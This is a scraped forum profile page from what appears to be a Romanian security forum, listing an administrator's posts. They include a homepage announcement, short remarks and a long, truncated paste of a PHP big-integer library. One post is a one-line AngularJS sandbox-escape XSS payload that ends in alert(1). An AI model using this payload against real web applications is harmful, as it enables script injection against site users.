Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    707

Everything posted by Nytro

  1. Salut, Am pus noul homepage: https://rstforums.com/ Multumim @Gecko Daca apar probleme sau aveti sugestii, luati legatura cu el.
  2. x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');
  3. Cu alte cuvinte, daca te duci intr-un data center si urli ca disperatul, e posibil sa strici cateva servere. Interesant...
  4. Proasta miscare
  5. Pentru cei interesati de SSH lib: <?php define('MATH_BIGINTEGER_MONTGOMERY', 0); define('MATH_BIGINTEGER_BARRETT', 1); define('MATH_BIGINTEGER_POWEROF2', 2); define('MATH_BIGINTEGER_CLASSIC', 3); define('MATH_BIGINTEGER_NONE', 4); define('MATH_BIGINTEGER_VALUE', 0); define('MATH_BIGINTEGER_SIGN', 1); define('MATH_BIGINTEGER_VARIABLE', 0); define('MATH_BIGINTEGER_DATA', 1); define('MATH_BIGINTEGER_MODE_INTERNAL', 1); define('MATH_BIGINTEGER_MODE_BCMATH', 2); define('MATH_BIGINTEGER_MODE_GMP', 3); define('MATH_BIGINTEGER_MAX_DIGIT52', pow(2, 52)); define('MATH_BIGINTEGER_KARATSUBA_CUTOFF', 25); class Math_BigInteger { var $value; var $is_negative = false; var $generator = 'mt_rand'; var $precision = - 1; var $bitmask = false; var $hex; function Math_BigInteger($x = 0, $base = 10) { if (!defined('MATH_BIGINTEGER_MODE')) { switch (true) { case extension_loaded('gmp'): define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_GMP); break; case extension_loaded('bcmath'): define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_BCMATH); break; default: define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_INTERNAL); } } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: if (is_resource($x) && get_resource_type($x) == 'GMP integer') { $this->value = $x; return; } $this->value = gmp_init(0); break; case MATH_BIGINTEGER_MODE_BCMATH: $this->value = '0'; break; default: $this->value = array(); } if (empty($x)) { return; } switch ($base) { case -256: if (ord($x[0]) & 0x80) { $x = ~ $x; $this->is_negative = true; } case 256: switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $sign = $this->is_negative ? '-' : ''; $this->value = gmp_init($sign . '0x' . bin2hex($x)); break; case MATH_BIGINTEGER_MODE_BCMATH: $len = (strlen($x) + 3) & 0xFFFFFFFC; $x = str_pad($x, $len, chr(0) , STR_PAD_LEFT); for ($i = 0; $i < $len; $i+= 4) { $this->value = bcmul($this->value, '4294967296', 0); $this->value = bcadd($this->value, 0x1000000 * ord($x[$i]) + ((ord($x[$i + 1]) << 16) | (ord($x[$i + 2]) << 8) | ord($x[$i + 3])) , 0); } if ($this->is_negative) { $this->value = '-' . $this->value; } break; default: while (strlen($x)) { $this->value[] = $this->_bytes2int($this->_base256_rshift($x, 26)); } } if ($this->is_negative) { if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { $this->is_negative = false; } $temp = $this->add(new Math_BigInteger('-1')); $this->value = $temp->value; } break; case 16: case -16: if ($base > 0 && $x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = preg_replace('#^(?:0x)?([A-Fa-f0-9]*).*#', '$1', $x); $is_negative = false; if ($base < 0 && hexdec($x[0]) >= 8) { $this->is_negative = $is_negative = true; $x = bin2hex(~pack('H*', $x)); } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = $this->is_negative ? '-0x' . $x : '0x' . $x; $this->value = gmp_init($temp); $this->is_negative = false; break; case MATH_BIGINTEGER_MODE_BCMATH: $x = (strlen($x) & 1) ? '0' . $x : $x; $temp = new Math_BigInteger(pack('H*', $x) , 256); $this->value = $this->is_negative ? '-' . $temp->value : $temp->value; $this->is_negative = false; break; default: $x = (strlen($x) & 1) ? '0' . $x : $x; $temp = new Math_BigInteger(pack('H*', $x) , 256); $this->value = $temp->value; } if ($is_negative) { $temp = $this->add(new Math_BigInteger('-1')); $this->value = $temp->value; } break; case 10: case -10: $x = preg_replace('#^(-?[0-9]*).*#', '$1', $x); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $this->value = gmp_init($x); break; case MATH_BIGINTEGER_MODE_BCMATH: $this->value = (string)$x; break; default: $temp = new Math_BigInteger(); $multiplier = new Math_BigInteger(); $multiplier->value = array( 10000000 ); if ($x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = str_pad($x, strlen($x) + (6 * strlen($x)) % 7, 0, STR_PAD_LEFT); while (strlen($x)) { $temp = $temp->multiply($multiplier); $temp = $temp->add(new Math_BigInteger($this->_int2bytes(substr($x, 0, 7)) , 256)); $x = substr($x, 7); } $this->value = $temp->value; } break; case 2: case -2: if ($base > 0 && $x[0] == '-') { $this->is_negative = true; $x = substr($x, 1); } $x = preg_replace('#^([01]*).*#', '$1', $x); $x = str_pad($x, strlen($x) + (3 * strlen($x)) % 4, 0, STR_PAD_LEFT); $str = '0x'; while (strlen($x)) { $part = substr($x, 0, 4); $str.= dechex(bindec($part)); $x = substr($x, 4); } if ($this->is_negative) { $str = '-' . $str; } $temp = new Math_BigInteger($str, 8 * $base); $this->value = $temp->value; $this->is_negative = $temp->is_negative; break; default: } } function toBytes($twos_compliment = false) { if ($twos_compliment) { $comparison = $this->compare(new Math_BigInteger()); if ($comparison == 0) { return $this->precision > 0 ? str_repeat(chr(0) , ($this->precision + 1) >> 3) : ''; } $temp = $comparison < 0 ? $this->add(new Math_BigInteger(1)) : $this->copy(); $bytes = $temp->toBytes(); if (empty($bytes)) { $bytes = chr(0); } if (ord($bytes[0]) & 0x80) { $bytes = chr(0) . $bytes; } return $comparison < 0 ? ~$bytes : $bytes; } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: if (gmp_cmp($this->value, gmp_init(0)) == 0) { return $this->precision > 0 ? str_repeat(chr(0) , ($this->precision + 1) >> 3) : ''; } $temp = gmp_strval(gmp_abs($this->value) , 16); $temp = (strlen($temp) & 1) ? '0' . $temp : $temp; $temp = pack('H*', $temp); return $this->precision > 0 ? substr(str_pad($temp, $this->precision >> 3, chr(0) , STR_PAD_LEFT) , -($this->precision >> 3)) : ltrim($temp, chr(0)); case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '0') { return $this->precision > 0 ? str_repeat(chr(0) , ($this->precision + 1) >> 3) : ''; } $value = ''; $current = $this->value; if ($current[0] == '-') { $current = substr($current, 1); } while (bccomp($current, '0', 0) > 0) { $temp = bcmod($current, '16777216'); $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value; $current = bcdiv($current, '16777216', 0); } return $this->precision > 0 ? substr(str_pad($value, $this->precision >> 3, chr(0) , STR_PAD_LEFT) , -($this->precision >> 3)) : ltrim($value, chr(0)); } if (!count($this->value)) { return $this->precision > 0 ? str_repeat(chr(0) , ($this->precision + 1) >> 3) : ''; } $result = $this->_int2bytes($this->value[count($this->value) - 1]); $temp = $this->copy(); for ($i = count($temp->value) - 2; $i >= 0; --$i) { $temp->_base256_lshift($result, 26); $result = $result | str_pad($temp->_int2bytes($temp->value[$i]) , strlen($result) , chr(0) , STR_PAD_LEFT); } return $this->precision > 0 ? str_pad(substr($result, -(($this->precision + 7) >> 3)) , ($this->precision + 7) >> 3, chr(0) , STR_PAD_LEFT) : $result; } function toHex($twos_compliment = false) { return bin2hex($this->toBytes($twos_compliment)); } function toBits($twos_compliment = false) { $hex = $this->toHex($twos_compliment); $bits = ''; for ($i = 0, $end = strlen($hex) & 0xFFFFFFF8; $i < $end; $i+= 8) { $bits.= str_pad(decbin(hexdec(substr($hex, $i, 8))) , 32, '0', STR_PAD_LEFT); } if ($end != strlen($hex)) { $bits.= str_pad(decbin(hexdec(substr($hex, $end))) , strlen($hex) & 7, '0', STR_PAD_LEFT); } return $this->precision > 0 ? substr($bits, -$this->precision) : ltrim($bits, '0'); } function toString() { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_strval($this->value); case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '0') { return '0'; } return ltrim($this->value, '0'); } if (!count($this->value)) { return '0'; } $temp = $this->copy(); $temp->is_negative = false; $divisor = new Math_BigInteger(); $divisor->value = array( 10000000 ); $result = ''; while (count($temp->value)) { list($temp, $mod) = $temp->divide($divisor); $result = str_pad(isset($mod->value[0]) ? $mod->value[0] : '', 7, '0', STR_PAD_LEFT) . $result; } $result = ltrim($result, '0'); if (empty($result)) { $result = '0'; } if ($this->is_negative) { $result = '-' . $result; } return $result; } function copy() { $temp = new Math_BigInteger(); $temp->value = $this->value; $temp->is_negative = $this->is_negative; $temp->generator = $this->generator; $temp->precision = $this->precision; $temp->bitmask = $this->bitmask; return $temp; } function __toString() { return $this->toString(); } function __clone() { return $this->copy(); } function __sleep() { $this->hex = $this->toHex(true); $vars = array( 'hex' ); if ($this->generator != 'mt_rand') { $vars[] = 'generator'; } if ($this->precision > 0) { $vars[] = 'precision'; } return $vars; } function __wakeup() { $temp = new Math_BigInteger($this->hex, -16); $this->value = $temp->value; $this->is_negative = $temp->is_negative; $this->setRandomGenerator($this->generator); if ($this->precision > 0) { $this->setPrecision($this->precision); } } function add($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_add($this->value, $y->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcadd($this->value, $y->value, 0); return $this->_normalize($temp); } $temp = $this->_add($this->value, $this->is_negative, $y->value, $y->is_negative); $result = new Math_BigInteger(); $result->value = $temp[MATH_BIGINTEGER_VALUE]; $result->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($result); } function _add($x_value, $x_negative, $y_value, $y_negative) { $x_size = count($x_value); $y_size = count($y_value); if ($x_size == 0) { return array( MATH_BIGINTEGER_VALUE => $y_value, MATH_BIGINTEGER_SIGN => $y_negative ); } else if ($y_size == 0) { return array( MATH_BIGINTEGER_VALUE => $x_value, MATH_BIGINTEGER_SIGN => $x_negative ); } if ($x_negative != $y_negative) { if ($x_value == $y_value) { return array( MATH_BIGINTEGER_VALUE => array() , MATH_BIGINTEGER_SIGN => false ); } $temp = $this->_subtract($x_value, false, $y_value, false); $temp[MATH_BIGINTEGER_SIGN] = $this->_compare($x_value, false, $y_value, false) > 0 ? $x_negative : $y_negative; return $temp; } if ($x_size < $y_size) { $size = $x_size; $value = $y_value; } else { $size = $y_size; $value = $x_value; } $value[] = 0; $carry = 0; for ($i = 0, $j = 1; $j < $size; $i+= 2, $j+= 2) { $sum = $x_value[$j] * 0x4000000 + $x_value[$i] + $y_value[$j] * 0x4000000 + $y_value[$i] + $carry; $carry = $sum >= MATH_BIGINTEGER_MAX_DIGIT52; $sum = $carry ? $sum - MATH_BIGINTEGER_MAX_DIGIT52 : $sum; $temp = (int)($sum / 0x4000000); $value[$i] = (int)($sum - 0x4000000 * $temp); $value[$j] = $temp; } if ($j == $size) { $sum = $x_value[$i] + $y_value[$i] + $carry; $carry = $sum >= 0x4000000; $value[$i] = $carry ? $sum - 0x4000000 : $sum; ++$i; } if ($carry) { for (; $value[$i] == 0x3FFFFFF; ++$i) { $value[$i] = 0; } ++$value[$i]; } return array( MATH_BIGINTEGER_VALUE => $this->_trim($value) , MATH_BIGINTEGER_SIGN => $x_negative ); } function subtract($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_sub($this->value, $y->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcsub($this->value, $y->value, 0); return $this->_normalize($temp); } $temp = $this->_subtract($this->value, $this->is_negative, $y->value, $y->is_negative); $result = new Math_BigInteger(); $result->value = $temp[MATH_BIGINTEGER_VALUE]; $result->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($result); } function _subtract($x_value, $x_negative, $y_value, $y_negative) { $x_size = count($x_value); $y_size = count($y_value); if ($x_size == 0) { return array( MATH_BIGINTEGER_VALUE => $y_value, MATH_BIGINTEGER_SIGN => !$y_negative ); } else if ($y_size == 0) { return array( MATH_BIGINTEGER_VALUE => $x_value, MATH_BIGINTEGER_SIGN => $x_negative ); } if ($x_negative != $y_negative) { $temp = $this->_add($x_value, false, $y_value, false); $temp[MATH_BIGINTEGER_SIGN] = $x_negative; return $temp; } $diff = $this->_compare($x_value, $x_negative, $y_value, $y_negative); if (!$diff) { return array( MATH_BIGINTEGER_VALUE => array() , MATH_BIGINTEGER_SIGN => false ); } if ((!$x_negative && $diff < 0) || ($x_negative && $diff > 0)) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_negative = !$x_negative; $x_size = count($x_value); $y_size = count($y_value); } $carry = 0; for ($i = 0, $j = 1; $j < $y_size; $i+= 2, $j+= 2) { $sum = $x_value[$j] * 0x4000000 + $x_value[$i] - $y_value[$j] * 0x4000000 - $y_value[$i] - $carry; $carry = $sum < 0; $sum = $carry ? $sum + MATH_BIGINTEGER_MAX_DIGIT52 : $sum; $temp = (int)($sum / 0x4000000); $x_value[$i] = (int)($sum - 0x4000000 * $temp); $x_value[$j] = $temp; } if ($j == $y_size) { $sum = $x_value[$i] - $y_value[$i] - $carry; $carry = $sum < 0; $x_value[$i] = $carry ? $sum + 0x4000000 : $sum; ++$i; } if ($carry) { for (; !$x_value[$i]; ++$i) { $x_value[$i] = 0x3FFFFFF; } --$x_value[$i]; } return array( MATH_BIGINTEGER_VALUE => $this->_trim($x_value) , MATH_BIGINTEGER_SIGN => $x_negative ); } function multiply($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_mul($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcmul($this->value, $x->value, 0); return $this->_normalize($temp); } $temp = $this->_multiply($this->value, $this->is_negative, $x->value, $x->is_negative); $product = new Math_BigInteger(); $product->value = $temp[MATH_BIGINTEGER_VALUE]; $product->is_negative = $temp[MATH_BIGINTEGER_SIGN]; return $this->_normalize($product); } function _multiply($x_value, $x_negative, $y_value, $y_negative) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array( MATH_BIGINTEGER_VALUE => array() , MATH_BIGINTEGER_SIGN => false ); } return array( MATH_BIGINTEGER_VALUE => min($x_length, $y_length) < 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ? $this->_trim($this->_regularMultiply($x_value, $y_value)) : $this->_trim($this->_karatsuba($x_value, $y_value)) , MATH_BIGINTEGER_SIGN => $x_negative != $y_negative ); } function _regularMultiply($x_value, $y_value) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array(); } if ($x_length < $y_length) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_length = count($x_value); $y_length = count($y_value); } $product_value = $this->_array_repeat(0, $x_length + $y_length); $carry = 0; for ($j = 0; $j < $x_length; ++$j) { $temp = $x_value[$j] * $y_value[0] + $carry; $carry = (int)($temp / 0x4000000); $product_value[$j] = (int)($temp - 0x4000000 * $carry); } $product_value[$j] = $carry; for ($i = 1; $i < $y_length; ++$i) { $carry = 0; for ($j = 0, $k = $i; $j < $x_length; ++$j, ++$k) { $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry; $carry = (int)($temp / 0x4000000); $product_value[$k] = (int)($temp - 0x4000000 * $carry); } $product_value[$k] = $carry; } return $product_value; } function _karatsuba($x_value, $y_value) { $m = min(count($x_value) >> 1, count($y_value) >> 1); if ($m < MATH_BIGINTEGER_KARATSUBA_CUTOFF) { return $this->_regularMultiply($x_value, $y_value); } $x1 = array_slice($x_value, $m); $x0 = array_slice($x_value, 0, $m); $y1 = array_slice($y_value, $m); $y0 = array_slice($y_value, 0, $m); $z2 = $this->_karatsuba($x1, $y1); $z0 = $this->_karatsuba($x0, $y0); $z1 = $this->_add($x1, false, $x0, false); $temp = $this->_add($y1, false, $y0, false); $z1 = $this->_karatsuba($z1[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_VALUE]); $temp = $this->_add($z2, false, $z0, false); $z1 = $this->_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false); $z2 = array_merge(array_fill(0, 2 * $m, 0) , $z2); $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0) , $z1[MATH_BIGINTEGER_VALUE]); $xy = $this->_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]); $xy = $this->_add($xy[MATH_BIGINTEGER_VALUE], $xy[MATH_BIGINTEGER_SIGN], $z0, false); return $xy[MATH_BIGINTEGER_VALUE]; } function _square($x = false) { return count($x) < 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ? $this->_trim($this->_baseSquare($x)) : $this->_trim($this->_karatsubaSquare($x)); } function _baseSquare($value) { if (empty($value)) { return array(); } $square_value = $this->_array_repeat(0, 2 * count($value)); for ($i = 0, $max_index = count($value) - 1; $i <= $max_index; ++$i) { $i2 = $i << 1; $temp = $square_value[$i2] + $value[$i] * $value[$i]; $carry = (int)($temp / 0x4000000); $square_value[$i2] = (int)($temp - 0x4000000 * $carry); for ($j = $i + 1, $k = $i2 + 1; $j <= $max_index; ++$j, ++$k) { $temp = $square_value[$k] + 2 * $value[$j] * $value[$i] + $carry; $carry = (int)($temp / 0x4000000); $square_value[$k] = (int)($temp - 0x4000000 * $carry); } $square_value[$i + $max_index + 1] = $carry; } return $square_value; } function _karatsubaSquare($value) { $m = count($value) >> 1; if ($m < MATH_BIGINTEGER_KARATSUBA_CUTOFF) { return $this->_baseSquare($value); } $x1 = array_slice($value, $m); $x0 = array_slice($value, 0, $m); $z2 = $this->_karatsubaSquare($x1); $z0 = $this->_karatsubaSquare($x0); $z1 = $this->_add($x1, false, $x0, false); $z1 = $this->_karatsubaSquare($z1[MATH_BIGINTEGER_VALUE]); $temp = $this->_add($z2, false, $z0, false); $z1 = $this->_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false); $z2 = array_merge(array_fill(0, 2 * $m, 0) , $z2); $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0) , $z1[MATH_BIGINTEGER_VALUE]); $xx = $this->_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]); $xx = $this->_add($xx[MATH_BIGINTEGER_VALUE], $xx[MATH_BIGINTEGER_SIGN], $z0, false); return $xx[MATH_BIGINTEGER_VALUE]; } function divide($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); list($quotient->value, $remainder->value) = gmp_div_qr($this->value, $y->value); if (gmp_sign($remainder->value) < 0) { $remainder->value = gmp_add($remainder->value, gmp_abs($y->value)); } return array( $this->_normalize($quotient) , $this->_normalize($remainder) ); case MATH_BIGINTEGER_MODE_BCMATH: $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); $quotient->value = bcdiv($this->value, $y->value, 0); $remainder->value = bcmod($this->value, $y->value); if ($remainder->value[0] == '-') { $remainder->value = bcadd($remainder->value, $y->value[0] == '-' ? substr($y->value, 1) : $y->value, 0); } return array( $this->_normalize($quotient) , $this->_normalize($remainder) ); } if (count($y->value) == 1) { list($q, $r) = $this->_divide_digit($this->value, $y->value[0]); $quotient = new Math_BigInteger(); $remainder = new Math_BigInteger(); $quotient->value = $q; $remainder->value = array( $r ); $quotient->is_negative = $this->is_negative != $y->is_negative; return array( $this->_normalize($quotient) , $this->_normalize($remainder) ); } static $zero; if (!isset($zero)) { $zero = new Math_BigInteger(); } $x = $this->copy(); $y = $y->copy(); $x_sign = $x->is_negative; $y_sign = $y->is_negative; $x->is_negative = $y->is_negative = false; $diff = $x->compare($y); if (!$diff) { $temp = new Math_BigInteger(); $temp->value = array( 1 ); $temp->is_negative = $x_sign != $y_sign; return array( $this->_normalize($temp) , $this->_normalize(new Math_BigInteger()) ); } if ($diff < 0) { if ($x_sign) { $x = $y->subtract($x); } return array( $this->_normalize(new Math_BigInteger()) , $this->_normalize($x) ); } $msb = $y->value[count($y->value) - 1]; for ($shift = 0; !($msb & 0x2000000); ++$shift) { $msb <<= 1; } $x->_lshift($shift); $y->_lshift($shift); $y_value = & $y->value; $x_max = count($x->value) - 1; $y_max = count($y->value) - 1; $quotient = new Math_BigInteger(); $quotient_value = & $quotient->value; $quotient_value = $this->_array_repeat(0, $x_max - $y_max + 1); static $temp, $lhs, $rhs; if (!isset($temp)) { $temp = new Math_BigInteger(); $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); } $temp_value = & $temp->value; $rhs_value = & $rhs->value; $temp_value = array_merge($this->_array_repeat(0, $x_max - $y_max) , $y_value); while ($x->compare($temp) >= 0) { ++$quotient_value[$x_max - $y_max]; $x = $x->subtract($temp); $x_max = count($x->value) - 1; } for ($i = $x_max; $i >= $y_max + 1; --$i) { $x_value = & $x->value; $x_window = array( isset($x_value[$i]) ? $x_value[$i] : 0, isset($x_value[$i - 1]) ? $x_value[$i - 1] : 0, isset($x_value[$i - 2]) ? $x_value[$i - 2] : 0 ); $y_window = array( $y_value[$y_max], ($y_max > 0) ? $y_value[$y_max - 1] : 0 ); $q_index = $i - $y_max - 1; if ($x_window[0] == $y_window[0]) { $quotient_value[$q_index] = 0x3FFFFFF; } else { $quotient_value[$q_index] = (int)(($x_window[0] * 0x4000000 + $x_window[1]) / $y_window[0]); } $temp_value = array( $y_window[1], $y_window[0] ); $lhs->value = array( $quotient_value[$q_index] ); $lhs = $lhs->multiply($temp); $rhs_value = array( $x_window[2], $x_window[1], $x_window[0] ); while ($lhs->compare($rhs) > 0) { --$quotient_value[$q_index]; $lhs->value = array( $quotient_value[$q_index] ); $lhs = $lhs->multiply($temp); } $adjust = $this->_array_repeat(0, $q_index); $temp_value = array( $quotient_value[$q_index] ); $temp = $temp->multiply($y); $temp_value = & $temp->value; $temp_value = array_merge($adjust, $temp_value); $x = $x->subtract($temp); if ($x->compare($zero) < 0) { $temp_value = array_merge($adjust, $y_value); $x = $x->add($temp); --$quotient_value[$q_index]; } $x_max = count($x_value) - 1; } $x->_rshift($shift); $quotient->is_negative = $x_sign != $y_sign; if ($x_sign) { $y->_rshift($shift); $x = $y->subtract($x); } return array( $this->_normalize($quotient) , $this->_normalize($x) ); } function _divide_digit($dividend, $divisor) { $carry = 0; $result = array(); for ($i = count($dividend) - 1; $i >= 0; --$i) { $temp = 0x4000000 * $carry + $dividend[$i]; $result[$i] = (int)($temp / $divisor); $carry = (int)($temp - $divisor * $result[$i]); } return array( $result, $carry ); } function modPow($e, $n) { $n = $this->bitmask !== false && $this->bitmask->compare($n) < 0 ? $this->bitmask : $n->abs(); if ($e->compare(new Math_BigInteger()) < 0) { $e = $e->abs(); $temp = $this->modInverse($n); if ($temp === false) { return false; } return $this->_normalize($temp->modPow($e, $n)); } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_powm($this->value, $e->value, $n->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $temp = new Math_BigInteger(); $temp->value = bcpowmod($this->value, $e->value, $n->value, 0); return $this->_normalize($temp); } if (empty($e->value)) { $temp = new Math_BigInteger(); $temp->value = array( 1 ); return $this->_normalize($temp); } if ($e->value == array( 1 )) { list(, $temp) = $this->divide($n); return $this->_normalize($temp); } if ($e->value == array( 2 )) { $temp = new Math_BigInteger(); $temp->value = $this->_square($this->value); list(, $temp) = $temp->divide($n); return $this->_normalize($temp); } return $this->_normalize($this->_slidingWindow($e, $n, MATH_BIGINTEGER_BARRETT)); if ($n->value[0] & 1) { return $this->_normalize($this->_slidingWindow($e, $n, MATH_BIGINTEGER_MONTGOMERY)); } for ($i = 0; $i < count($n->value); ++$i) { if ($n->value[$i]) { $temp = decbin($n->value[$i]); $j = strlen($temp) - strrpos($temp, '1') - 1; $j+= 26 * $i; break; } } $mod1 = $n->copy(); $mod1->_rshift($j); $mod2 = new Math_BigInteger(); $mod2->value = array( 1 ); $mod2->_lshift($j); $part1 = ($mod1->value != array( 1 )) ? $this->_slidingWindow($e, $mod1, MATH_BIGINTEGER_MONTGOMERY) : new Math_BigInteger(); $part2 = $this->_slidingWindow($e, $mod2, MATH_BIGINTEGER_POWEROF2); $y1 = $mod2->modInverse($mod1); $y2 = $mod1->modInverse($mod2); $result = $part1->multiply($mod2); $result = $result->multiply($y1); $temp = $part2->multiply($mod1); $temp = $temp->multiply($y2); $result = $result->add($temp); list(, $result) = $result->divide($n); return $this->_normalize($result); } function powMod($e, $n) { return $this->modPow($e, $n); } function _slidingWindow($e, $n, $mode) { static $window_ranges = array( 7, 25, 81, 241, 673, 1793 ); $e_value = $e->value; $e_length = count($e_value) - 1; $e_bits = decbin($e_value[$e_length]); for ($i = $e_length - 1; $i >= 0; --$i) { $e_bits.= str_pad(decbin($e_value[$i]) , 26, '0', STR_PAD_LEFT); } $e_length = strlen($e_bits); for ($i = 0, $window_size = 1; $e_length > $window_ranges[$i] && $i < count($window_ranges); ++$window_size, ++$i); $n_value = $n->value; $powers = array(); $powers[1] = $this->_prepareReduce($this->value, $n_value, $mode); $powers[2] = $this->_squareReduce($powers[1], $n_value, $mode); $temp = 1 << ($window_size - 1); for ($i = 1; $i < $temp; ++$i) { $i2 = $i << 1; $powers[$i2 + 1] = $this->_multiplyReduce($powers[$i2 - 1], $powers[2], $n_value, $mode); } $result = array( 1 ); $result = $this->_prepareReduce($result, $n_value, $mode); for ($i = 0; $i < $e_length;) { if (!$e_bits[$i]) { $result = $this->_squareReduce($result, $n_value, $mode); ++$i; } else { for ($j = $window_size - 1; $j > 0; --$j) { if (!empty($e_bits[$i + $j])) { break; } } for ($k = 0; $k <= $j; ++$k) { $result = $this->_squareReduce($result, $n_value, $mode); } $result = $this->_multiplyReduce($result, $powers[bindec(substr($e_bits, $i, $j + 1)) ], $n_value, $mode); $i+= $j + 1; } } $temp = new Math_BigInteger(); $temp->value = $this->_reduce($result, $n_value, $mode); return $temp; } function _reduce($x, $n, $mode) { switch ($mode) { case MATH_BIGINTEGER_MONTGOMERY: return $this->_montgomery($x, $n); case MATH_BIGINTEGER_BARRETT: return $this->_barrett($x, $n); case MATH_BIGINTEGER_POWEROF2: $lhs = new Math_BigInteger(); $lhs->value = $x; $rhs = new Math_BigInteger(); $rhs->value = $n; return $x->_mod2($n); case MATH_BIGINTEGER_CLASSIC: $lhs = new Math_BigInteger(); $lhs->value = $x; $rhs = new Math_BigInteger(); $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; case MATH_BIGINTEGER_NONE: return $x; default: } } function _prepareReduce($x, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_prepMontgomery($x, $n); } return $this->_reduce($x, $n, $mode); } function _multiplyReduce($x, $y, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_montgomeryMultiply($x, $y, $n); } $temp = $this->_multiply($x, false, $y, false); return $this->_reduce($temp[MATH_BIGINTEGER_VALUE], $n, $mode); } function _squareReduce($x, $n, $mode) { if ($mode == MATH_BIGINTEGER_MONTGOMERY) { return $this->_montgomeryMultiply($x, $x, $n); } return $this->_reduce($this->_square($x) , $n, $mode); } function _mod2($n) { $temp = new Math_BigInteger(); $temp->value = array( 1 ); return $this->bitwise_and($n->subtract($temp)); } function _barrett($n, $m) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array() , MATH_BIGINTEGER_DATA => array() ); $m_length = count($m); if (count($n) > 2 * $m_length) { $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); $lhs->value = $n; $rhs->value = $m; list(, $temp) = $lhs->divide($rhs); return $temp->value; } if ($m_length < 5) { return $this->_regularBarrett($n, $m); } if (($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $m; $lhs = new Math_BigInteger(); $lhs_value = & $lhs->value; $lhs_value = $this->_array_repeat(0, $m_length + ($m_length >> 1)); $lhs_value[] = 1; $rhs = new Math_BigInteger(); $rhs->value = $m; list($u, $m1) = $lhs->divide($rhs); $u = $u->value; $m1 = $m1->value; $cache[MATH_BIGINTEGER_DATA][] = array( 'u' => $u, 'm1' => $m1 ); } else { extract($cache[MATH_BIGINTEGER_DATA][$key]); } $cutoff = $m_length + ($m_length >> 1); $lsd = array_slice($n, 0, $cutoff); $msd = array_slice($n, $cutoff); $lsd = $this->_trim($lsd); $temp = $this->_multiply($msd, false, $m1, false); $n = $this->_add($lsd, false, $temp[MATH_BIGINTEGER_VALUE], false); if ($m_length & 1) { return $this->_regularBarrett($n[MATH_BIGINTEGER_VALUE], $m); } $temp = array_slice($n[MATH_BIGINTEGER_VALUE], $m_length - 1); $temp = $this->_multiply($temp, false, $u, false); $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], ($m_length >> 1) + 1); $temp = $this->_multiply($temp, false, $m, false); $result = $this->_subtract($n[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false); while ($this->_compare($result[MATH_BIGINTEGER_VALUE], 